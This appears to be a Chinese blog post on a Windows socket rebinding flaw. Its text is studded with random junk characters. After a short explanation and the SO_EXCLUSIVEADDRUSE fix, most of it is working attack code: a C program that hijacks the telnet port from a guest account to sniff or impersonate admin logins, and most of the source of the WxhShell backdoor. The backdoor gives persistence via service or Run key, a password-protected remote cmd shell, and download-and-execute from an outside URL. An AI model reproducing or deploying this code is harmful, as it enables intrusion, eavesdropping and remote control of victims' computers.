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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u|D|pRM-LT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8k
-l`O~ e?)ic\K saddr.sin_family = AF_INET; u40<>A f"g-Hbl5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); t7qY!S ( &Uu8wFbIJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :7jDgqn^|i `oGL== 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M*lCoJ zTvGku[3 这意味着什么?意味着可以进行如下的攻击: a!Ht81gj ^OnZ9?C{R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 byetbt(IF Ym5ji$!2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,f?+QV\T. f{eMh47 NC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U
*']7- k86j&
.m_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 55#s/`gd)^ 1/%g
VB8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T?V!%AqY: EHqcQx`K_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E-J<%+ pu?D^h9/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nN$aZSb` -TU^* #include ]3bXJE #include W$ag
|WV #include QC^#ns& #include *wD| eK7 DWORD WINAPI ClientThread(LPVOID lpParam); xY94v int main() OX[pK_:`l { $~FnBD%|{ WORD wVersionRequested; "-aCF DWORD ret; C)xM>M_CB WSADATA wsaData; [/IN820t BOOL val; yEB1gYJB SOCKADDR_IN saddr; + tza]r: SOCKADDR_IN scaddr; }SZU'lYHoM int err; c6_i~0W56 SOCKET s; IFfB3{J SOCKET sc; U+wfq%Fz int caddsize; $F/Uk;*d! HANDLE mt; yTwtGo& DWORD tid; $Y9Wzv3Ra wVersionRequested = MAKEWORD( 2, 2 ); A-om?$7 err = WSAStartup( wVersionRequested, &wsaData ); + Ssu^>D if ( err != 0 ) { tEE4"OAy printf("error!WSAStartup failed!\n"); G~N$bF^R) return -1; *N!>c&8 } ?3|jB?:k saddr.sin_family = AF_INET; 0; BX X[r\ Qa //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '|^<|S_+K nht?58 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (Ceq@eAlT saddr.sin_port = htons(23); rVF7!|& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %kSpMj| { ipdGAG printf("error!socket failed!\n"); C|hD^m return -1; 1}Mdo&:t } fA{t\ val = TRUE; .tH[A[/1 a //SO_REUSEADDR选项就是可以实现端口重绑定的 .\:{6_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B(B77SOb { .qGfLvx% printf("error!setsockopt failed!\n"); gOL-b9W return -1; |QcE5UC } 7;x}W-`iF //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %MH!L2| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^a{cK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LZF%bJv $zv&MD!&h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nTQ&nu! { 0AWOdd>. ret=GetLastError(); rIJv(&l printf("error!bind failed!\n"); :j}4F return -1; ^DH*\ee } t+<?$I[ listen(s,2); W34_@,GD while(1) .&2Nm&y$K { .5K}R< caddsize = sizeof(scaddr); ;r.0=Uo9] //接受连接请求 DL]\dD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >3&Oe if(sc!=INVALID_SOCKET) (dgBI}Za { S?K x:] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %.[jz,;) if(mt==NULL) `<x((@# { ~us1Df0bp printf("Thread Creat Failed!\n"); $9}jU#Z|hd break; {sb2r%U!+ } 5vo5t0^o } 7x5wT ?2W CloseHandle(mt); JNk6:j&Pf } z8-dntkf closesocket(s); o`+$h:zm@ WSACleanup(); @r=v*hu return 0; Z0#&D&2sV } Is1(]^EE* DWORD WINAPI ClientThread(LPVOID lpParam) tS:/:0HnA) { ,!7\?=G6}v SOCKET ss = (SOCKET)lpParam; Pg\!\5 SOCKET sc; 'Vz Yf^ unsigned char buf[4096]; xN
CU5 SOCKADDR_IN saddr; uZhY)o*]@ long num; cf`g.9pjlx DWORD val; _ISaO
C{2- DWORD ret; R+b~m!58 //如果是隐藏端口应用的话,可以在此处加一些判断 yi&6HNb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 c]1\88 saddr.sin_family = AF_INET; YQ$EN>.eO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_CImf1 saddr.sin_port = htons(23); vzH"O= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <TQ,7M4X { odsLFU( printf("error!socket failed!\n"); Z;M th# return -1; c]]e( } r~q3nIe/, val = 100; $LOwuvu> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AJ"a { %ZbdWHO# ret = GetLastError(); ,:=g}i return -1; *-\qO.4\ } 3$f+3/l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YHQvx_0yP { 7,7-E&d ret = GetLastError(); pgipT#_K return -1; sEzl4I } #w6ty<b; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (\M#Ay t) { dng^#|X)? printf("error!socket connect failed!\n"); ,+GS.]8< closesocket(sc); /hp
[ +K closesocket(ss); Zgw4[GpL return -1; T-a[ } =)YDjd_=z while(1) F_.1^XM { 8Ao-m38 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ifI0s)Pn //如果是嗅探内容的话,可以再此处进行内容分析和记录 O<()T6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d.xT8l}sS num = recv(ss,buf,4096,0); UZRN4tru6 if(num>0) L}= t"y send(sc,buf,num,0); 6lob&+ else if(num==0) Dp-j(F break; XImX1GH num = recv(sc,buf,4096,0); `MC5_SG 1 if(num>0) e:+[}I) send(ss,buf,num,0); 3g87i r else if(num==0) o3cE.YUF break; 7* R
%zJ } 5Zuk`%O closesocket(ss); 9Ecc~'f closesocket(sc); ok1-`c P return 0 ; 9c{T|+] } }6"l`$=Ev +:3s f%0 B|ctauJ ========================================================== 3$4I q}gM2Ia'vY 下边附上一个代码,,WXhSHELL s0m k<>z wGgeK,*_ ========================================================== I#/"6%e 1h3`y #include "stdafx.h" !.{"Ttn;s 1EWskmp #include <stdio.h> 6 apK #include <string.h> PQ 2rNY6 #include <windows.h> pfQ3Y$z #include <winsock2.h> ?{%"v\w #include <winsvc.h> >{[ #include <urlmon.h> Ym?VF{e, ?Xj@Sx #pragma comment (lib, "Ws2_32.lib") :A+}fBIN #pragma comment (lib, "urlmon.lib") mhI ]F3fO5Z #define MAX_USER 100 // 最大客户端连接数 vi]cl=S #define BUF_SOCK 200 // sock buffer ujf7r`;u. #define KEY_BUFF 255 // 输入 buffer O-ppR7edh $!^C|,CS #define REBOOT 0 // 重启 +5Ju `Z #define SHUTDOWN 1 // 关机 U$WGe >, S8O,{ #define DEF_PORT 5000 // 监听端口 &aPR" X ]IH1_?HgP7 #define REG_LEN 16 // 注册表键长度 <vt}+uMzXv #define SVC_LEN 80 // NT服务名长度 vs@u*4.Ut< <8^ws90Y // 从dll定义API 5p ,HkV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F{Oaxn typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [WI'oy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EUW>8kw0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~-UO^$M- h:i FLS f // wxhshell配置信息 /4;Sxx- struct WSCFG { ji<(}d~L* int ws_port; // 监听端口 :mhO/Bx char ws_passstr[REG_LEN]; // 口令 N]-skz<v int ws_autoins; // 安装标记, 1=yes 0=no xT-`dS0u char ws_regname[REG_LEN]; // 注册表键名 ^ywDa^;- char ws_svcname[REG_LEN]; // 服务名 uSv]1m_-] char ws_svcdisp[SVC_LEN]; // 服务显示名 zm3$)*p1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 [x'D+! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _k#GjAPM int ws_downexe; // 下载执行标记, 1=yes 0=no Ii!{\p! char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" bX
6uGu
7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a%/D~5Z hFnUw26P }; u/V&1In HX ,\a` // default Wxhshell configuration ZC`VuCg2O struct WSCFG wscfg={DEF_PORT, iNilk!d6Q3 "xuhuanlingzhe", `dhBLAt 1, YMVmpcz "Wxhshell", ;rV+eb)I "Wxhshell", _{n4jdw%( "WxhShell Service", -/Zy{2 <u "Wrsky Windows CmdShell Service", O;|jLf_If "Please Input Your Password: ", a:;7'w' 1, #Z,@yJ2wl " http://www.wrsky.com/wxhshell.exe", dptfIBYc+ "Wxhshell.exe" !x!1H5" }; bXA%|7* WWC&-Ni // 消息定义模块 ihekON": char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <
<F char *msg_ws_prompt="\n\r? for help\n\r#>"; p_vldTIW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >">Xd@Wk char *msg_ws_ext="\n\rExit."; ;.^!
7j char *msg_ws_end="\n\rQuit."; 6}~k4;'}A char *msg_ws_boot="\n\rReboot..."; % bKy char *msg_ws_poff="\n\rShutdown..."; gLg.mV1< char *msg_ws_down="\n\rSave to "; uN1VkmtDO y}?PyPz char *msg_ws_err="\n\rErr!"; [("2=Uz; char *msg_ws_ok="\n\rOK!"; '6\ZgOO9 Hp5.F>- char ExeFile[MAX_PATH]; -2'+GO7G int nUser = 0; CR;E*I${ HANDLE handles[MAX_USER]; F6}YM| int OsIsNt; PPh<9$1\g 85$ WH SERVICE_STATUS serviceStatus; JJ'f\f9 SERVICE_STATUS_HANDLE hServiceStatusHandle; Z!*6;[]SfG Wf-XH|j[ // 函数声明 KT+{-"4- int Install(void); XN{WxcZ int Uninstall(void); s3 fQGbU int DownloadFile(char *sURL, SOCKET wsh); aX*9T8H/ int Boot(int flag); kU#k#4X4g void HideProc(void); 5z\,] int GetOsVer(void); IusZY B int Wxhshell(SOCKET wsl); "zkQu void TalkWithClient(void *cs); FHEP/T\5 int CmdShell(SOCKET sock); EPR85[k int StartFromService(void); apt$e$g int StartWxhshell(LPSTR lpCmdLine); 1OqVV?oz T8%!l40v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1yqsE`4f VOID WINAPI NTServiceHandler( DWORD fdwControl ); dp&G([ <4<y // 数据结构和表定义 l<+PA$+}} SERVICE_TABLE_ENTRY DispatchTable[] = $F[+H Wf { jatlv/, {wscfg.ws_svcname, NTServiceMain}, Vw.)T/B_D {NULL, NULL} sKJr34 }; bC98<if wm Ie x // 自我安装 +@yU ` int Install(void) 2.=u ' { g$zGiqzMK char svExeFile[MAX_PATH]; vVIND HKEY key; fD3'Ye<R strcpy(svExeFile,ExeFile); ew~?&= ZI1*Cb // 如果是win9x系统,修改注册表设为自启动 %d*0"<v if(!OsIsNt) { 6VuyKt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [@JK|50|K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W7gY$\1<& RegCloseKey(key); R*0mCz^+h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /GM!3%'= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wa{!%qu5.R RegCloseKey(key); 5j$&Zgx51 return 0; YllZ5<} } q @O } .MRN)p } S'W,AkT else { ~d1=_p:~T JM?__b7g2 // 如果是NT以上系统,安装为系统服务 zi_$roq=) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]7>#YKH. if (schSCManager!=0) ,4`Vl<6 { ]z8/S!? SC_HANDLE schService = CreateService b9"t%R9/Q ( WT")tjVKA schSCManager, IVZUB*wv)b wscfg.ws_svcname, lJ]QAO wscfg.ws_svcdisp, 6<>1,wbq SERVICE_ALL_ACCESS, 'q_ Z
dw% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _9H]:]1QH SERVICE_AUTO_START, HRrR"b9: SERVICE_ERROR_NORMAL, q
}>3NCh svExeFile, JZ![:$: NULL, qV idtSb NULL, >o v#\ NULL, RticGQy&5 NULL, a^|9rho< NULL [!wJIy?, ); &A.0(s if (schService!=0) W)J5[p? { \`["IkSg7 CloseServiceHandle(schService); OFmHj]I7= CloseServiceHandle(schSCManager); #NGtba strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `-P1Y strcat(svExeFile,wscfg.ws_svcname); n1JV)4Mv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OIpT9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~x/ka43 RegCloseKey(key); >o{JG(Rn return 0; !.q99DB } 1n}#54 } ;|oft-y CloseServiceHandle(schSCManager); #Y3-P } @Lf&[_ } (!N2,1| v0! 1W return 1; 0A~UuH0. } gp{C89gP PN8#T:E // 自我卸载 wd<{%qK`{ int Uninstall(void) &Wb"/Hn2 { r)Lm| S
HKEY key; ~$C<^?"b _>;MQ)Km~ if(!OsIsNt) { trrK6(p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1W\wIj. RegDeleteValue(key,wscfg.ws_regname); ABe25Sus RegCloseKey(key); |39,n~"o& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l4U*Lv>
RegDeleteValue(key,wscfg.ws_regname); [xrsa!$ RegCloseKey(key); [wm0a4fg return 0; .;Gx.}ITG6 } [)jNy_4 } /FC
HF#yK } .N.RpRz{f else { 3<M yb YZ8[h`z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XR7v\rd if (schSCManager!=0) rFzj\%xa[ { tN\I2wm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o@.{|j if (schService!=0) qWWt5rJ { l5VRdZ4Uf if(DeleteService(schService)!=0) { & C)1( CloseServiceHandle(schService); ,lvG5B\0 CloseServiceHandle(schSCManager); :2==7u7v? return 0; ^t7u4w! } %s+'"E"E CloseServiceHandle(schService); R6fkc^ } Nj2l>[L; CloseServiceHandle(schSCManager); ilJ`_QN } g~.#.S ds } Haktr2I P;z\vq<h return 1; ,K\7y2/ } %]0?vw:;j et)n`NlcK // 从指定url下载文件 TB.>?*<n] int DownloadFile(char *sURL, SOCKET wsh) - QY<o| { 7rRI-wZ HRESULT hr; f"j9C%'* char seps[]= "/"; ]*mUc` char *token; p o)lN[v char *file; 'fb\t, char myURL[MAX_PATH]; R?:Q=7K char myFILE[MAX_PATH]; ~D|,$E tX4 V~/-e- 9u strcpy(myURL,sURL); wn.6l
` token=strtok(myURL,seps); oNPvks dC; while(token!=NULL) K`9~#Zx$ { a$Ud" file=token; ?K:\WW token=strtok(NULL,seps); cf,6";8 } }cCIYt\RK &Lt$~}*&6 GetCurrentDirectory(MAX_PATH,myFILE); #'>)?]tn strcat(myFILE, "\\"); d;gs1]E50 strcat(myFILE, file); gU|:Y&lFZg send(wsh,myFILE,strlen(myFILE),0); xcmg3:s send(wsh,"...",3,0); s6!&4=ZA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "~ $i# if(hr==S_OK) \WC,iA%Y return 0; +CdUr~6 else e_|<tYx>< return 1; (T pnJq w8Z#]kRv } `3VI9GmQ K.wRz/M&g // 系统电源模块 zGg)R int Boot(int flag) #\Y`? { >%92,hg HANDLE hToken; @Z'i7Z TOKEN_PRIVILEGES tkp; }`QZV_ l\V1c90m if(OsIsNt) { 'R-\6;3E>9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `~=z0I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N]/cBGy tkp.PrivilegeCount = 1; Km=
Y^x0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )b]wpEFl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =,N"% } if(flag==REBOOT) { LFi* O& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y_n4Y[4g return 0; svEe@Kt` } ?32~%?m else { (Ytr&gh;0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Et}%)M return 0; K{DmMi];I } !=,zy } ] WYub1 else { t~K[`=G\ex if(flag==REBOOT) { 52o^] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ai?J return 0; 2Ul8<${c{ } EHf,VIC8 else { V~/@KU8cH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '9.@r\g return 0; M"s:*c_6 } !^MwE] } $X Uck[ V1d#7rP return 1; ?b(wZ-/ } PbvA~gm fOSk>
gK // win9x进程隐藏模块 ]C"?xy void HideProc(void) 9"S iHp\) { e&i`/m5 ! })Y9oZc8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); = )3\B if ( hKernel != NULL ) #U%HGTE0 { .kuNn-$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ALF21e*n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q wG_- FreeLibrary(hKernel); ZEDvY=@a } tpA-IL?KQw ~Y~M}4 return; aizws[C } %?+Lkj& !a\v)R // 获取操作系统版本 zTMLE~w int GetOsVer(void) &Lzd*}7 { T'lycc4~a OSVERSIONINFO winfo; SOsz=bVx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zq$L[X GetVersionEx(&winfo); +\ "NPK@3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .7Yox1, return 1; 5({_2meJ: else M'R
] '' return 0; ~QUNR?h } 4*f+np *mj=kJ7(
// 客户端句柄模块 5-fASN.Lx int Wxhshell(SOCKET wsl) :!CnGKgt { #=)>,6Zw SOCKET wsh; ZZHQ?p- struct sockaddr_in client; v\G7V DWORD myID; !+Y+P? -"H$&p~ while(nUser<MAX_USER) k&5T-\ q { )n9,?F#l int nSize=sizeof(client); KfVsnL_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NM:$Q<n if(wsh==INVALID_SOCKET) return 1; b5%<},ySq l0t(t*[Mj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B<.\^fuS if(handles[nUser]==0) R87@. closesocket(wsh); abS~'r14 else 9L-jlAo< nUser++; \X(*JNQ } zXlerQWUv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b[:m[^ =6\^F i return 0; 6Ktq7'Z@ } HWFTI /] :,qvqh][ // 关闭 socket 4|cRYZj5 void CloseIt(SOCKET wsh) $Q'LDmot { byt$Wqdl closesocket(wsh); FY)]yz nUser--; M?P\ YAn$ ExitThread(0); *a8 <cf } ,1CmB@ GJS( // 客户端请求句柄 H*N{4zBB void TalkWithClient(void *cs) ^ ~1QA { UYy #DA {gu3KV SOCKET wsh=(SOCKET)cs; A{)pzV25 char pwd[SVC_LEN]; "8?Fl&=Q char cmd[KEY_BUFF]; jbT{K|d- char chr[1]; ?+Vi
!eS int i,j; hiV!/}'7 T <k;^iqR while (nUser < MAX_USER) { y.8nzlkE{ (5+g:mSfr if(wscfg.ws_passstr) { a\,V>}e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e~'z;%O~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qZV|}M>P) //ZeroMemory(pwd,KEY_BUFF); Q3bU"f i=0; #E\6:UnT while(i<SVC_LEN) { km^ZF<. @ Xnh&Kyz`v // 设置超时 Y+$]N:\F\ fd_set FdRead; sy4Nm0m struct timeval TimeOut; `0_
Y| 4KB FD_ZERO(&FdRead); O/(vimx.#F FD_SET(wsh,&FdRead); &~B8~U4% TimeOut.tv_sec=8; LLzxCMc9* TimeOut.tv_usec=0; qq[Dr|%7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bF,.6iKI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &IRM<A!8 c\ZnGI\| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \x4:i\Fx@ pwd =chr[0]; xA2I+r*o if(chr[0]==0xd || chr[0]==0xa) { $II~tO pwd=0; )xz_}6b] break; s!MD8ia } rL+.3ZO):P i++;
{;u+? uY } BjTgZ98J !SnLvW89Z // 如果是非法用户,关闭 socket '<ZHzDW@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kou7_4oS } B#5[PX FK-q-PKO#. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jpW_q+^? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cuy9QBB
: bBo>Y7% while(1) { BOy&3.h5? ;qWSfCt/^ ZeroMemory(cmd,KEY_BUFF); }ksp(.}G MujEjD "| // 自动支持客户端 telnet标准 rb'mFqg*u j=0; eq&QWxiD* while(j<KEY_BUFF) { @}{uibLD\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .O#7X cmd[j]=chr[0]; Zvfy%k if(chr[0]==0xa || chr[0]==0xd) { O%F*i2I:+k cmd[j]=0; ouFKqRs; break; JxLfDr,dy } uKD
}5M?{ j++; ,D<U PtPQ } =i;T?*@ $o$WFV+h // 下载文件 alNn(0MG if(strstr(cmd,"http://")) { 7#9%,6Yi send(wsh,msg_ws_down,strlen(msg_ws_down),0); >w.%KVBJ if(DownloadFile(cmd,wsh)) 9!Xp+< send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cp>y<C" else CW/L(RQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S}]B |Q } OZ"76|H1` else { !g=b=YK s&$e}yxVO switch(cmd[0]) { Zv-1*hhHf 0E
(G1o' // 帮助 &0%B3 case '?': { ORWi+H| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]A#:Uc5 break; MOp "kA } W_3BL]^= // 安装 oEFo7X`t case 'i': { )<_qTd0` if(Install()) 2*Pk1vrI send(wsh,msg_ws_err,strlen(msg_ws_err),0); !u
.n else #
kNp); send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8?: 2< break; +|5 O b } .4$F~!aj9 // 卸载 [*0M$4 case 'r': { )"6"g9A if(Uninstall()) 6uUn send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z*h}E else fZ;}_wR-H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >dD$GD{ break; n'JS- } X{ 6a // 显示 wxhshell 所在路径 r=AA
/n< case 'p': { DUF$-'A char svExeFile[MAX_PATH]; .P?n<n# strcpy(svExeFile,"\n\r"); 49}WJC7
) strcat(svExeFile,ExeFile); ]?oJxW. send(wsh,svExeFile,strlen(svExeFile),0); C-h?#/#?y break; ucU7
@j } ib!TXWq // 重启 *W>, 98 case 'b': { NPM2qL9&J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X(3| (1;sV if(Boot(REBOOT)) ?cKTeGrS send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZ>q$
F else { %f1IV(3Qc closesocket(wsh); C+5X8 ExitThread(0); G#6Z@|kVw } V7p
hD3Y break; #5'@at'1 } u=vBjaN2_w // 关机 L%QRWhB case 'd': { /;1O9HJa send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aIrM-c8.O if(Boot(SHUTDOWN)) #Er"i send(wsh,msg_ws_err,strlen(msg_ws_err),0); z1^fG) else { 7l~^KsX closesocket(wsh); i1m>|[@k ExitThread(0); .]JIo&>5 } k*\)z\f break; J]{<Z?% } -o{ x
;:4 // 获取shell =NI?Jk*iAq case 's': { _2{_W9k CmdShell(wsh); 84WcaH closesocket(wsh); -"i$^Q` ExitThread(0); ;BT7pyu%[ break; fiD,HGx
i } lz36;Fp // 退出 37Q8Yf_ case 'x': { X# ud5h send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0chpC)#Q3; CloseIt(wsh); n ]D io break; '<uM\v^k } c_M[>#` // 离开 k<+Sj
h$ case 'q': { Yg,b
;H send(wsh,msg_ws_end,strlen(msg_ws_end),0); F'|e:h closesocket(wsh); bM:4i1Z WSACleanup(); tgi%#8ZDpz exit(1); {Q_GJ break; % -AcA } c ^.^5@ } W;UPA~nT~ } {f)aFGp ~_ZK93o( // 提示信息 fR'!p: ~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H@$K/ } t!6uz } t&=bW<6 DrV[1Z return; GIc q|Pe } V;"2=)X A%F8w'8( // shell模块句柄 R%\3[ int CmdShell(SOCKET sock) 7 vFmB { n_RZ:<Gr STARTUPINFO si; _|0# ZeroMemory(&si,sizeof(si)); iQ8{N:58DN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p#]9^oA si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (@xC-* PROCESS_INFORMATION ProcessInfo; :f39)g5> char cmdline[]="cmd"; L
FJ@4]%V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tgtym"=xd return 0; {nUmlP=mS } hLgX0QV IE996
// 自身启动模式 %M'`K int StartFromService(void) *<:X3|3E { P![ZO6`:W' typedef struct JU^Y27 { Ua
6O~,\ DWORD ExitStatus; e.DN,rhqI DWORD PebBaseAddress; cyB+(jLHDs DWORD AffinityMask; Ji9o0Y R DWORD BasePriority; @#t<!-8d ULONG UniqueProcessId; Y 'X!T8 ULONG InheritedFromUniqueProcessId; gAsmPI.K } PROCESS_BASIC_INFORMATION; 2ns,q0I
A XdV>6<gf{
